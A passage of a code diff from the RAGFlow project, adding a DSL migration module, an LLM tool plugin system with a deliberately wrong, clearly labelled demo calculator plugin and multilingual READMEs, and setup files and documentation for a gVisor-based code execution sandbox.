+        elif isinstance(variable, bool):
+            return False
+        elif isinstance(variable, int):
+            return 0
+        elif isinstance(variable, float):
+            return 0.0
+        else:
+            return None
+
+    def _set(self, variable, parameter):
+        if variable is None:
+            return self._canvas.get_value_with_variable(parameter)
+        elif isinstance(variable, str):
+            return self._canvas.get_value_with_variable(parameter)
+        elif isinstance(variable, bool):
+            return parameter
+        elif isinstance(variable, int):
+            return parameter
+        elif isinstance(variable, float):
+            return parameter
+        else:
+            return parameter
+
+    def _append(self, variable, parameter):
+        parameter = self._canvas.get_variable_value(parameter)
+        if variable is None:
+            variable = []
+        if not isinstance(variable, list):
+            return "ERROR:VARIABLE_NOT_LIST"
+        elif len(variable) != 0 and not isinstance(parameter, type(variable[0])):
+            return "ERROR:PARAMETER_NOT_LIST_ELEMENT_TYPE"
+        else:
+            variable.append(parameter)
+            return variable
+
+    def _extend(self, variable, parameter):
+        parameter = self._canvas.get_variable_value(parameter)
+        if variable is None:
+            variable = []
+        if not isinstance(variable, list):
+            return "ERROR:VARIABLE_NOT_LIST"
+        elif not isinstance(parameter, list):
+            return "ERROR:PARAMETER_NOT_LIST"
+        elif len(variable) != 0 and len(parameter) != 0 and not isinstance(parameter[0], type(variable[0])):
+            return "ERROR:PARAMETER_NOT_LIST_ELEMENT_TYPE"
+        else:
+            return variable + parameter
+
+    def _remove_first(self, variable):
+        if not isinstance(variable, list):
+            return "ERROR:VARIABLE_NOT_LIST"
+        if len(variable) == 0:
+            return variable
+        return variable[1:]
+
+    def _remove_last(self, variable):
+        if not isinstance(variable, list):
+            return "ERROR:VARIABLE_NOT_LIST"
+        if len(variable) == 0:
+            return variable
+        return variable[:-1]
+
+    def is_number(self, value):
+        if isinstance(value, bool):
+            return False
+        return isinstance(value, numbers.Number)
+
+    def _add(self, variable, parameter):
+        if self.is_number(variable) and self.is_number(parameter):
+            return variable + parameter
+        else:
+            return "ERROR:VARIABLE_NOT_NUMBER or PARAMETER_NOT_NUMBER"
+
+    def _subtract(self, variable, parameter):
+        if self.is_number(variable) and self.is_number(parameter):
+            return variable - parameter
+        else:
+            return "ERROR:VARIABLE_NOT_NUMBER or PARAMETER_NOT_NUMBER"
+
+    def _multiply(self, variable, parameter):
+        if self.is_number(variable) and self.is_number(parameter):
+            return variable * parameter
+        else:
+            return "ERROR:VARIABLE_NOT_NUMBER or PARAMETER_NOT_NUMBER"
+
+    def _divide(self, variable, parameter):
+        if self.is_number(variable) and self.is_number(parameter):
+            if parameter == 0:
+                return "ERROR:DIVIDE_BY_ZERO"
+            else:
+                return variable / parameter
+        else:
+            return "ERROR:VARIABLE_NOT_NUMBER or PARAMETER_NOT_NUMBER"
+
+    def thoughts(self) -> str:
+        return "Assign variables from canvas."

agent/dsl_migration.py

@@ -0,0 +1,164 @@
+#
+#  Copyright 2026 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import copy
+import re
+
+
+# Keep all legacy chunker renames in one place so the migration rule stays readable.
+COMPONENT_RENAMES = {
+    "Splitter": "TokenChunker",
+    "HierarchicalMerger": "TitleChunker",
+    "PDFGenerator": "DocGenerator",
+}
+
+NODE_TYPE_RENAMES = {
+    "splitterNode": "chunkerNode",
+}
+
+VARIABLE_REF_PATTERN = re.compile(r"(\{+\s*)([A-Za-z0-9:_-]+)(@[A-Za-z0-9_.-]+)(\s*\}+)")
+
+
+def normalize_chunker_dsl(dsl: dict) -> dict:
+    """
+    Rewrite legacy chunker component names and ids into the current DSL schema.
+
+    This is intentionally a pure migration step:
+    - it does not change business params
+    - it only rewrites structural identifiers used by the canvas/runtime
+    - custom human-authored names are preserved unless they are still the exact
+      built-in legacy operator name
+    """
+    if not isinstance(dsl, dict):
+        return dsl
+
+    normalized = copy.deepcopy(dsl)
+    components = normalized.get("components")
+    if not isinstance(components, dict):
+        return normalized
+
+    component_id_map: dict[str, str] = {}
+    for component_id in components.keys():
+        new_component_id = component_id
+        for old_name, new_name in COMPONENT_RENAMES.items():
+            prefix = f"{old_name}:"
+            if component_id.startswith(prefix):
+                new_component_id = f"{new_name}:{component_id[len(prefix) :]}"
+                break
+        component_id_map[component_id] = new_component_id
+
+    def rewrite_variable_refs(text: str) -> str:
+        if text in component_id_map:
+            return component_id_map[text]
+
+        def repl(match: re.Match[str]) -> str:
+            component_id = match.group(2)
+            return match.group(1) + component_id_map.get(component_id, component_id) + match.group(3) + match.group(4)
+
+        return VARIABLE_REF_PATTERN.sub(repl, text)
+
+    def rewrite_value(value):
+        if isinstance(value, str):
+            return rewrite_variable_refs(value)
+        if isinstance(value, list):
+            return [rewrite_value(item) for item in value]
+        if isinstance(value, dict):
+            return {key: rewrite_value(item) for key, item in value.items()}
+        return value
+
+    rewritten_components = {}
+    for old_component_id, component in components.items():
+        new_component_id = component_id_map[old_component_id]
+        new_component = rewrite_value(component)
+
+        if isinstance(new_component, dict):
+            obj = new_component.get("obj")
+            if isinstance(obj, dict):
+                component_name = obj.get("component_name")
+                obj["component_name"] = COMPONENT_RENAMES.get(component_name, component_name)
+
+            if isinstance(new_component.get("downstream"), list):
+                new_component["downstream"] = [component_id_map.get(component_id, component_id) for component_id in new_component["downstream"]]
+            if isinstance(new_component.get("upstream"), list):
+                new_component["upstream"] = [component_id_map.get(component_id, component_id) for component_id in new_component["upstream"]]
+
+            parent_id = new_component.get("parent_id")
+            if isinstance(parent_id, str):
+                new_component["parent_id"] = component_id_map.get(parent_id, parent_id)
+
+        rewritten_components[new_component_id] = new_component
+
+    normalized["components"] = rewritten_components
+
+    if isinstance(normalized.get("path"), list):
+        normalized["path"] = [component_id_map.get(component_id, component_id) for component_id in normalized["path"]]
+
+    graph = normalized.get("graph")
+    if isinstance(graph, dict):
+        nodes = graph.get("nodes")
+        if isinstance(nodes, list):
+            for node in nodes:
+                if not isinstance(node, dict):
+                    continue
+                node_id = node.get("id")
+                if isinstance(node_id, str):
+                    node["id"] = component_id_map.get(node_id, node_id)
+
+                parent_id = node.get("parentId")
+                if isinstance(parent_id, str):
+                    node["parentId"] = component_id_map.get(parent_id, parent_id)
+
+                node_type = node.get("type")
+                if isinstance(node_type, str):
+                    node["type"] = NODE_TYPE_RENAMES.get(node_type, node_type)
+
+                data = node.get("data")
+                if not isinstance(data, dict):
+                    continue
+
+                label = data.get("label")
+                if isinstance(label, str):
+                    data["label"] = COMPONENT_RENAMES.get(label, label)
+
+                name = data.get("name")
+                if isinstance(name, str) and name in COMPONENT_RENAMES:
+                    data["name"] = COMPONENT_RENAMES[name]
+
+                if "form" in data:
+                    data["form"] = rewrite_value(data["form"])
+
+        edges = graph.get("edges")
+        if isinstance(edges, list):
+            replacements = sorted(component_id_map.items(), key=lambda item: len(item[0]), reverse=True)
+            for edge in edges:
+                if not isinstance(edge, dict):
+                    continue
+                for key in ("source", "target"):
+                    value = edge.get(key)
+                    if isinstance(value, str):
+                        edge[key] = component_id_map.get(value, value)
+
+                edge_id = edge.get("id")
+                if isinstance(edge_id, str):
+                    for old_component_id, new_component_id in replacements:
+                        edge_id = edge_id.replace(old_component_id, new_component_id)
+                    edge["id"] = edge_id
+
+    for key in ("history", "messages", "reference"):
+        if key in normalized:
+            normalized[key] = rewrite_value(normalized[key])
+
+    return normalized

agent/plugin/README.md

@@ -0,0 +1,97 @@
+# Plugins
+
+This directory contains the plugin mechanism for RAGFlow.
+
+RAGFlow will load plugins from `embedded_plugins` subdirectory recursively.
+
+## Supported plugin types
+
+Currently, the only supported plugin type is `llm_tools`.
+
+- `llm_tools`: A tool for LLM to call.
+
+## How to add a plugin
+
+Add a LLM tool plugin is simple: create a plugin file, put a class inherits the `LLMToolPlugin` class in it, then implement the `get_metadata` and the `invoke` methods.
+
+- `get_metadata` method: This method returns a `LLMToolMetadata` object, which contains the description of this tool.
+The description will be provided to LLM, and the RAGFlow web frontend for displaying.
+
+- `invoke` method: This method accepts parameters generated by LLM, and return a `str` containing the tool execution result.
+All the execution logic of this tool should go into this method.
+
+When you start RAGFlow, you can see your plugin was loaded in the log:
+
+```
+2025-05-15 19:29:08,959 INFO     34670 Recursively importing plugins from path `/some-path/ragflow/agent/plugin/embedded_plugins`
+2025-05-15 19:29:08,960 INFO     34670 Loaded llm_tools plugin BadCalculatorPlugin version 1.0.0
+```
+
+Or it may contain some errors for you to fix your plugin.
+
+### Demo
+
+We will demonstrate how to add a plugin with a calculator tool which will give wrong answers.
+
+First, create a plugin file `bad_calculator.py` under the `embedded_plugins/llm_tools` directory.
+
+Then, we create a `BadCalculatorPlugin` class, extending the `LLMToolPlugin` base class:
+
+```python
+class BadCalculatorPlugin(LLMToolPlugin):
+    _version_ = "1.0.0"
+```
+
+The `_version_` field is required, which specifies the version of the plugin.
+
+Our calculator has two numbers `a` and `b` as inputs, so we add a `invoke` method to our `BadCalculatorPlugin` class:
+
+```python
+def invoke(self, a: int, b: int) -> str:
+    return str(a + b + 100)
+```
+
+The `invoke` method will be called by LLM. It can have many parameters, but the return type must be a `str`.
+
+Finally, we have to add a `get_metadata` method, to tell LLM how to use our `bad_calculator`:
+
+```python
+@classmethod
+def get_metadata(cls) -> LLMToolMetadata:
+    return {
+        # Name of this tool, providing to LLM
+        "name": "bad_calculator",
+        # Display name of this tool, providing to RAGFlow frontend
+        "displayName": "$t:bad_calculator.name",
+        # Description of the usage of this tool, providing to LLM
+        "description": "A tool to calculate the sum of two numbers (will give wrong answer)",
+        # Description of this tool, providing to RAGFlow frontend
+        "displayDescription": "$t:bad_calculator.description",
+        # Parameters of this tool
+        "parameters": {
+            # The first parameter - a
+            "a": {
+                # Parameter type, options are: number, string, or whatever the LLM can recognise
+                "type": "number",
+                # Description of this parameter, providing to LLM
+                "description": "The first number",
+                # Description of this parameter, provding to RAGFlow frontend
+                "displayDescription": "$t:bad_calculator.params.a",
+                # Whether this parameter is required
+                "required": True
+            },
+            # The second parameter - b
+            "b": {
+                "type": "number",
+                "description": "The second number",
+                "displayDescription": "$t:bad_calculator.params.b",
+                "required": True
+            }
+        }
+```
+
+The `get_metadata` method is a `classmethod`. It will provide the description of this tool to LLM.
+
+The fields start with `display` can use a special notation: `$t:xxx`, which will use the i18n mechanism in the RAGFlow frontend, getting text from the `llmTools` category. The frontend will display what you put here if you don't use this notation.
+
+Now our tool is ready. You can select it in the `Generate` component and try it out.

agent/plugin/README_tr.md

@@ -0,0 +1,99 @@
+[English](./README.md) | [简体中文](./README_zh.md) | Türkçe
+
+# Eklentiler
+
+Bu klasör, RAGFlow'un eklenti mekanizmasını içerir.
+
+RAGFlow, `embedded_plugins` alt klasöründen eklentileri özyinelemeli olarak yükleyecektir.
+
+## Desteklenen eklenti türleri
+
+Şu anda desteklenen tek eklenti türü `llm_tools`'dur.
+
+- `llm_tools`: LLM'nin çağırması için bir araç.
+
+## Eklenti nasıl eklenir
+
+Bir LLM araç eklentisi eklemek basittir: bir eklenti dosyası oluşturun, içine `LLMToolPlugin` sınıfından türetilmiş bir sınıf koyun, ardından `get_metadata` ve `invoke` metodlarını uygulayın.
+
+- `get_metadata` metodu: Bu metod, aracın açıklamasını içeren bir `LLMToolMetadata` nesnesi döndürür.
+Açıklama, LLM'ye çağrı için ve RAGFlow web ön yüzüne görüntüleme amacıyla sağlanacaktır.
+
+- `invoke` metodu: Bu metod, LLM tarafından üretilen parametreleri kabul eder ve aracın yürütme sonucunu içeren bir `str` döndürür.
+Bu aracın tüm yürütme mantığı bu metoda konulmalıdır.
+
+RAGFlow'u başlattığınızda, günlükte eklentinizin yüklendiğini göreceksiniz:
+
+```
+2025-05-15 19:29:08,959 INFO     34670 Recursively importing plugins from path `/some-path/ragflow/agent/plugin/embedded_plugins`
+2025-05-15 19:29:08,960 INFO     34670 Loaded llm_tools plugin BadCalculatorPlugin version 1.0.0
+```
+
+Veya eklentinizi düzeltmeniz gereken hatalar da içerebilir.
+
+### Örnek
+
+Yanlış cevaplar veren bir hesap makinesi aracı ekleyerek eklenti ekleme sürecini göstereceğiz.
+
+Önce, `embedded_plugins/llm_tools` klasörü altında `bad_calculator.py` adında bir eklenti dosyası oluşturun.
+
+Ardından, `LLMToolPlugin` temel sınıfından türetilmiş bir `BadCalculatorPlugin` sınıfı oluşturuyoruz:
+
+```python
+class BadCalculatorPlugin(LLMToolPlugin):
+    _version_ = "1.0.0"
+```
+
+`_version_` alanı zorunludur ve eklentinin sürüm numarasını belirtir.
+
+Hesap makinemizin girdileri olarak `a` ve `b` olmak üzere iki sayısı vardır, bu yüzden `BadCalculatorPlugin` sınıfımıza aşağıdaki `invoke` metodunu ekliyoruz:
+
+```python
+def invoke(self, a: int, b: int) -> str:
+    return str(a + b + 100)
+```
+
+`invoke` metodu LLM tarafından çağrılacaktır. Birçok parametreye sahip olabilir, ancak dönüş tipi `str` olmalıdır.
+
+Son olarak, LLM'ye `bad_calculator` aracımızı nasıl kullanacağını anlatmak için bir `get_metadata` metodu eklememiz gerekiyor:
+
+```python
+@classmethod
+def get_metadata(cls) -> LLMToolMetadata:
+    return {
+        # Bu aracın adı, LLM'ye sağlanır
+        "name": "bad_calculator",
+        # Bu aracın görüntüleme adı, RAGFlow ön yüzüne sağlanır
+        "displayName": "$t:bad_calculator.name",
+        # Bu aracın kullanım açıklaması, LLM'ye sağlanır
+        "description": "A tool to calculate the sum of two numbers (will give wrong answer)",
+        # Bu aracın açıklaması, RAGFlow ön yüzüne sağlanır
+        "displayDescription": "$t:bad_calculator.description",
+        # Bu aracın parametreleri
+        "parameters": {
+            # Birinci parametre - a
+            "a": {
+                # Parametre tipi, seçenekler: number, string veya LLM'nin tanıyabileceği herhangi bir tip
+                "type": "number",
+                # Bu parametrenin açıklaması, LLM'ye sağlanır
+                "description": "The first number",
+                # Bu parametrenin açıklaması, RAGFlow ön yüzüne sağlanır
+                "displayDescription": "$t:bad_calculator.params.a",
+                # Bu parametrenin zorunlu olup olmadığı
+                "required": True
+            },
+            # İkinci parametre - b
+            "b": {
+                "type": "number",
+                "description": "The second number",
+                "displayDescription": "$t:bad_calculator.params.b",
+                "required": True
+            }
+        }
+```
+
+`get_metadata` metodu bir `classmethod`'dur. Bu aracın açıklamasını LLM'ye sağlayacaktır.
+
+`display` ile başlayan alanlar özel bir gösterim kullanabilir: `$t:xxx`, bu gösterim RAGFlow ön yüzündeki uluslararasılaştırma (i18n) mekanizmasını kullanarak `llmTools` kategorisinden metin alır. Bu gösterimi kullanmazsanız, ön yüz buraya yazdığınız metni doğrudan gösterecektir.
+
+Artık aracımız hazırdır. `Yanıt Üret` bileşeninde seçip deneyebilirsiniz.

agent/plugin/README_zh.md

@@ -0,0 +1,98 @@
+# 插件
+
+这个文件夹包含了RAGFlow的插件机制。
+
+RAGFlow将会从`embedded_plugins`子文件夹中递归加载所有的插件。
+
+## 支持的插件类型
+
+目前，唯一支持的插件类型是`llm_tools`。
+
+- `llm_tools`：用于供LLM进行调用的工具。
+
+## 如何添加一个插件
+
+添加一个LLM工具插件是很简单的：创建一个插件文件，向其中放一个继承自`LLMToolPlugin`的类，再实现它的`get_metadata`和`invoke`方法即可。
+
+- `get_metadata`方法：这个方法返回一个`LLMToolMetadata`对象，其中包含了对这个工具的描述。
+这些描述信息将被提供给LLM进行调用，和RAGFlow的Web前端用作展示。
+
+- `invoke`方法：这个方法接受LLM生成的参数，并且返回一个`str`对象，其中包含了这个工具的执行结果。
+这个工具的所有执行逻辑都应当放到这个方法里。
+
+当你启动RAGFlow时，你会在日志中看见你的插件被加载了：
+
+```
+2025-05-15 19:29:08,959 INFO     34670 Recursively importing plugins from path `/some-path/ragflow/agent/plugin/embedded_plugins`
+2025-05-15 19:29:08,960 INFO     34670 Loaded llm_tools plugin BadCalculatorPlugin version 1.0.0
+```
+
+也可能会报错，这时就需要根据报错对你的插件进行修复。
+
+### 示例
+
+我们将会添加一个会给出错误答案的计算器工具，来演示添加插件的过程。
+
+首先，在`embedded_plugins/llm_tools`文件夹下创建一个插件文件`bad_calculator.py`。
+
+接下来，我们创建一个`BadCalculatorPlugin`类，继承基类`LLMToolPlugin`：
+
+```python
+class BadCalculatorPlugin(LLMToolPlugin):
+    _version_ = "1.0.0"
+```
+
+`_version_`字段是必填的，用于指定这个插件的版本号。
+
+我们的计算器拥有两个输入字段`a`和`b`，所以我们添加如下的`invoke`方法到`BadCalculatorPlugin`类中：
+
+```python
+def invoke(self, a: int, b: int) -> str:
+    return str(a + b + 100)
+```
+
+`invoke`方法将会被LLM所调用。这个方法可以有许多参数，但它必须返回一个`str`。
+
+最后，我们需要添加一个`get_metadata`方法，来告诉LLM怎样使用我们的`bad_calculator`工具：
+
+```python
+@classmethod
+def get_metadata(cls) -> LLMToolMetadata:
+    return {
+        # 这个工具的名称，会提供给LLM
+        "name": "bad_calculator",
+        # 这个工具的展示名称，会提供给RAGFlow的Web前端
+        "displayName": "$t:bad_calculator.name",
+        # 这个工具的用法描述，会提供给LLM
+        "description": "A tool to calculate the sum of two numbers (will give wrong answer)",
+        # 这个工具的描述，会提供给RAGFlow的Web前端
+        "displayDescription": "$t:bad_calculator.description",
+        # 这个工具的参数
+        "parameters": {
+            # 第一个参数 - a
+            "a": {
+                # 参数类型，选项为：number, string, 或者LLM可以识别的任何类型
+                "type": "number",
+                # 这个参数的描述，会提供给LLM
+                "description": "The first number",
+                # 这个参数的描述，会提供给RAGFlow的Web前端
+                "displayDescription": "$t:bad_calculator.params.a",
+                # 这个参数是否是必填的
+                "required": True
+            },
+            # 第二个参数 - b
+            "b": {
+                "type": "number",
+                "description": "The second number",
+                "displayDescription": "$t:bad_calculator.params.b",
+                "required": True
+            }
+        }
+```
+
+`get_metadata`方法是一个`classmethod`。它会把这个工具的描述提供给LLM。
+
+以`display`开头的字段可以使用一种特殊写法`$t:xxx`，这种写法将使用RAGFlow的国际化机制，从`llmTools`这个分类中获取文字。如果你不使用这种写法，那么前端将会显示此处的原始内容。
+
+现在，我们的工具已经做好了，你可以在`生成回答`组件中选择这个工具来尝试一下。
+

agent/plugin/__init__.py

@@ -0,0 +1,3 @@
+from .plugin_manager import PluginManager
+
+GlobalPluginManager = PluginManager()

agent/plugin/common.py

@@ -0,0 +1 @@
+PLUGIN_TYPE_LLM_TOOLS = "llm_tools"

agent/plugin/embedded_plugins/llm_tools/bad_calculator.py

@@ -0,0 +1,28 @@
+import logging
+from agent.plugin.llm_tool_plugin import LLMToolMetadata, LLMToolPlugin
+
+
+class BadCalculatorPlugin(LLMToolPlugin):
+    """
+    A sample LLM tool plugin, will add two numbers with 100.
+    It only presents for demo purpose. Do not use it in production.
+    """
+
+    _version_ = "1.0.0"
+
+    @classmethod
+    def get_metadata(cls) -> LLMToolMetadata:
+        return {
+            "name": "bad_calculator",
+            "displayName": "$t:bad_calculator.name",
+            "description": "A tool to calculate the sum of two numbers (will give wrong answer)",
+            "displayDescription": "$t:bad_calculator.description",
+            "parameters": {
+                "a": {"type": "number", "description": "The first number", "displayDescription": "$t:bad_calculator.params.a", "required": True},
+                "b": {"type": "number", "description": "The second number", "displayDescription": "$t:bad_calculator.params.b", "required": True},
+            },
+        }
+
+    def invoke(self, a: int, b: int) -> str:
+        logging.info(f"Bad calculator tool was called with arguments {a} and {b}")
+        return str(a + b + 100)

agent/plugin/llm_tool_plugin.py

@@ -0,0 +1,45 @@
+from typing import Any, TypedDict
+import pluginlib
+
+from .common import PLUGIN_TYPE_LLM_TOOLS
+
+
+class LLMToolParameter(TypedDict):
+    type: str
+    description: str
+    displayDescription: str
+    required: bool
+
+
+class LLMToolMetadata(TypedDict):
+    name: str
+    displayName: str
+    description: str
+    displayDescription: str
+    parameters: dict[str, LLMToolParameter]
+
+
+@pluginlib.Parent(PLUGIN_TYPE_LLM_TOOLS)
+class LLMToolPlugin:
+    @classmethod
+    @pluginlib.abstractmethod
+    def get_metadata(cls) -> LLMToolMetadata:
+        pass
+
+    def invoke(self, **kwargs) -> str:
+        raise NotImplementedError
+
+
+def llm_tool_metadata_to_openai_tool(llm_tool_metadata: LLMToolMetadata) -> dict[str, Any]:
+    return {
+        "type": "function",
+        "function": {
+            "name": llm_tool_metadata["name"],
+            "description": llm_tool_metadata["description"],
+            "parameters": {
+                "type": "object",
+                "properties": {k: {"type": p["type"], "description": p["description"]} for k, p in llm_tool_metadata["parameters"].items()},
+                "required": [k for k, p in llm_tool_metadata["parameters"].items() if p["required"]],
+            },
+        },
+    }

agent/plugin/plugin_manager.py

@@ -0,0 +1,43 @@
+import logging
+import os
+from pathlib import Path
+import pluginlib
+
+from .common import PLUGIN_TYPE_LLM_TOOLS
+
+from .llm_tool_plugin import LLMToolPlugin
+
+
+class PluginManager:
+    _llm_tool_plugins: dict[str, LLMToolPlugin]
+
+    def __init__(self) -> None:
+        self._llm_tool_plugins = {}
+
+    def load_plugins(self) -> None:
+        loader = pluginlib.PluginLoader(paths=[str(Path(os.path.dirname(__file__), "embedded_plugins"))])
+
+        for type, plugins in loader.plugins.items():
+            for name, plugin in plugins.items():
+                logging.info(f"Loaded {type} plugin {name} version {plugin.version}")
+
+                if type == PLUGIN_TYPE_LLM_TOOLS:
+                    metadata = plugin.get_metadata()
+                    self._llm_tool_plugins[metadata["name"]] = plugin
+
+    def get_llm_tools(self) -> list[LLMToolPlugin]:
+        return list(self._llm_tool_plugins.values())
+
+    def get_llm_tool_by_name(self, name: str) -> LLMToolPlugin | None:
+        return self._llm_tool_plugins.get(name)
+
+    def get_llm_tools_by_names(self, tool_names: list[str]) -> list[LLMToolPlugin]:
+        results = []
+
+        for name in tool_names:
+            plugin = self._llm_tool_plugins.get(name)
+
+            if plugin is not None:
+                results.append(plugin)
+
+        return results

agent/sandbox/.env.example

@@ -0,0 +1,9 @@
+# Copy this file to `.env` and modify as needed
+
+SANDBOX_EXECUTOR_MANAGER_POOL_SIZE=5
+SANDBOX_BASE_PYTHON_IMAGE=sandbox-base-python:latest
+SANDBOX_BASE_NODEJS_IMAGE=sandbox-base-nodejs:latest
+SANDBOX_EXECUTOR_MANAGER_PORT=9385
+SANDBOX_ENABLE_SECCOMP=false
+SANDBOX_MAX_MEMORY=256m # b, k, m, g
+SANDBOX_TIMEOUT=10s # s, m, 1m30s

agent/sandbox/Makefile

@@ -0,0 +1,115 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+# Force using Bash to ensure the source command is available
+SHELL := /bin/bash
+
+# Environment variable definitions
+VENV := .venv
+PYTHON := $(VENV)/bin/python
+UV := uv
+ACTIVATE_SCRIPT := $(VENV)/bin/activate
+SYS_PYTHON := python3
+PYTHONPATH := $(shell pwd)
+
+.PHONY: all setup ensure_env ensure_uv start stop restart build clean test logs
+
+all: setup start
+
+# 🌱 Initialize environment + install dependencies
+setup: ensure_env ensure_uv
+	@echo "📦 Installing dependencies with uv..."
+	@$(UV) sync --python 3.12
+	source $(ACTIVATE_SCRIPT) && \
+	export PYTHONPATH=$(PYTHONPATH)
+	@$(UV) pip install -r executor_manager/requirements.txt
+	@echo "✅ Setup complete."
+
+# 🔑 Ensure .env exists (copy from .env.example on first run)
+ensure_env:
+	@if [ ! -f ".env" ]; then \
+		if [ -f ".env.example" ]; then \
+			echo "📝 Creating .env from .env.example..."; \
+			cp .env.example .env; \
+		else \
+			echo "⚠️ Warning: .env.example not found, creating empty .env"; \
+			touch .env; \
+		fi; \
+	else \
+		echo "✅ .env already exists."; \
+	fi
+
+# 🔧 Ensure uv is executable (install using system Python)
+ensure_uv:
+	@if ! command -v $(UV) >/dev/null 2>&1; then \
+		echo "🛠️ Installing uv using system Python..."; \
+		$(SYS_PYTHON) -m pip install -q --upgrade pip; \
+		$(SYS_PYTHON) -m pip install -q uv || (echo "⚠️ uv install failed, check manually" && exit 1); \
+	fi
+
+# 🐳 Service control (using safer variable loading)
+start:
+	@echo "🚀 Starting services..."
+	source $(ACTIVATE_SCRIPT) && \
+	export PYTHONPATH=$(PYTHONPATH) && \
+	[ -f .env ] && source .env || true && \
+	bash scripts/start.sh
+
+stop:
+	@echo "🛑 Stopping services..."
+	source $(ACTIVATE_SCRIPT) && \
+	bash scripts/stop.sh
+
+restart: stop start
+	@echo "🔁 Restarting services..."
+
+build:
+	@echo "🔧 Building base sandbox images..."
+	@if [ -f .env ]; then \
+		source .env && \
+		echo "🐍 Building base sandbox image for Python ($$SANDBOX_BASE_PYTHON_IMAGE)..." && \
+		docker build -t "$$SANDBOX_BASE_PYTHON_IMAGE" ./sandbox_base_image/python && \
+		echo "⬢ Building base sandbox image for Nodejs ($$SANDBOX_BASE_NODEJS_IMAGE)..." && \
+		docker build -t "$$SANDBOX_BASE_NODEJS_IMAGE" ./sandbox_base_image/nodejs; \
+	else \
+		echo "⚠️ .env file not found, skipping build."; \
+	fi
+
+test:
+	@echo "🧪 Running sandbox security tests..."
+	source $(ACTIVATE_SCRIPT) && \
+	export PYTHONPATH=$(PYTHONPATH) && \
+	$(PYTHON) tests/sandbox_security_tests_full.py
+
+logs:
+	@echo "📋 Showing logs from api-server and executor-manager..."
+	docker compose logs -f
+
+# 🧹 Clean all containers and volumes
+clean:
+	@echo "🧹 Cleaning all containers and volumes..."
+	@docker compose down -v || true
+	@if [ -f .env ]; then \
+		source .env && \
+		for i in $$(seq 0 $$((SANDBOX_EXECUTOR_MANAGER_POOL_SIZE - 1))); do \
+			echo "🧹 Deleting sandbox_python_$$i..." && \
+			docker rm -f sandbox_python_$$i 2>/dev/null || true && \
+			echo "🧹 Deleting sandbox_nodejs_$$i..." && \
+			docker rm -f sandbox_nodejs_$$i 2>/dev/null || true; \
+		done; \
+	else \
+		echo "⚠️ .env not found, skipping container cleanup"; \
+	fi

agent/sandbox/README.md

@@ -0,0 +1,361 @@
+# RAGFlow Sandbox
+
+A secure, pluggable code execution backend for RAGFlow and beyond.
+
+## 🔧 Features
+
+- ✅ **Seamless RAGFlow Integration** — Out-of-the-box compatibility with the `code` component.
+- 🔐 **High Security** — Leverages [gVisor](https://gvisor.dev/) for syscall-level sandboxing.
+- 🔧 **Customizable Sandboxing** — Easily modify `seccomp` settings as needed.
+- 🧩 **Pluggable Runtime Support** — Easily extend to support any programming language.
+- ⚙️ **Developer Friendly** — Get started with a single command using `Makefile`.
+
+## 🏗 Architecture
+
+<p align="center">
+  <img src="asserts/code_executor_manager.svg" width="520" alt="Architecture Diagram">
+</p>
+
+## 🚀 Quick Start
+
+### 📋 Prerequisites
+
+#### Required
+
+- Linux distro compatible with gVisor
+- [gVisor](https://gvisor.dev/docs/user_guide/install/)
+- Docker >= `25.0` (API 1.44+) — executor manager now bundles Docker CLI `29.1.0` to match newer daemons.
+- Docker Compose >= `v2.26.1` like [RAGFlow](https://github.com/infiniflow/ragflow)
+- [uv](https://docs.astral.sh/uv/) as package and project manager
+
+#### Optional (Recommended)
+
+- [GNU Make](https://www.gnu.org/software/make/) for simplified CLI management
+
+---
+
+> ⚠️ **New Docker CLI requirement**
+>
+> If you see `client version 1.43 is too old. Minimum supported API version is 1.44`, pull the latest `infiniflow/sandbox-executor-manager:latest` (rebuilt with Docker CLI `29.1.0`) or rebuild it in `./sandbox/executor_manager`. Older images shipped Docker 24.x, which cannot talk to newer Docker daemons.
+
+### 🐳 Build Docker Base Images
+
+We use isolated base images for secure containerized execution:
+
+```bash
+# Build base images manually
+docker build -t sandbox-base-python:latest ./sandbox_base_image/python
+docker build -t sandbox-base-nodejs:latest ./sandbox_base_image/nodejs
+
+# OR use Makefile
+make build
+```
+
+Then, build the executor manager image:
+
+```bash
+docker build -t sandbox-executor-manager:latest ./executor_manager
+```
+
+---
+
+### 📦 Running with RAGFlow
+
+1. Ensure gVisor is correctly installed.
+2. Configure your `.env` in `docker/.env`:
+
+   - Uncomment sandbox-related variables.
+   - Enable sandbox profile at the bottom.
+3. Add the following line to `/etc/hosts` as recommended:
+
+   ```text
+   127.0.0.1 sandbox-executor-manager
+   ```
+
+4. Start RAGFlow service.
+
+---
+
+### 🧭 Running Standalone
+
+#### Manual Setup
+
+1. Initialize environment:
+
+   ```bash
+   cp .env.example .env
+   ```
+
+2. Launch:
+
+   ```bash
+   docker compose -f docker-compose.yml up
+   ```
+
+3. Test:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   uv pip install -r executor_manager/requirements.txt
+   uv run tests/sandbox_security_tests_full.py
+   ```
+
+#### With Make
+
+```bash
+make          # setup + build + launch + test
+```
+
+---
+
+### 📈 Monitoring
+
+```bash
+docker logs -f sandbox-executor-manager  # Manual
+make logs                                 # With Make
+```
+
+---
+
+### 🧰 Makefile Toolbox
+
+| Command           | Description                                      |
+|-------------------|--------------------------------------------------|
+| `make`            | Setup, build, launch and test all at once        |
+| `make setup`      | Initialize environment and install uv            |
+| `make ensure_env` | Auto-create `.env` if missing                    |
+| `make ensure_uv`  | Install `uv` package manager if missing          |
+| `make build`      | Build all Docker base images                     |
+| `make start`      | Start services with safe env loading and testing |
+| `make stop`       | Gracefully stop all services                     |
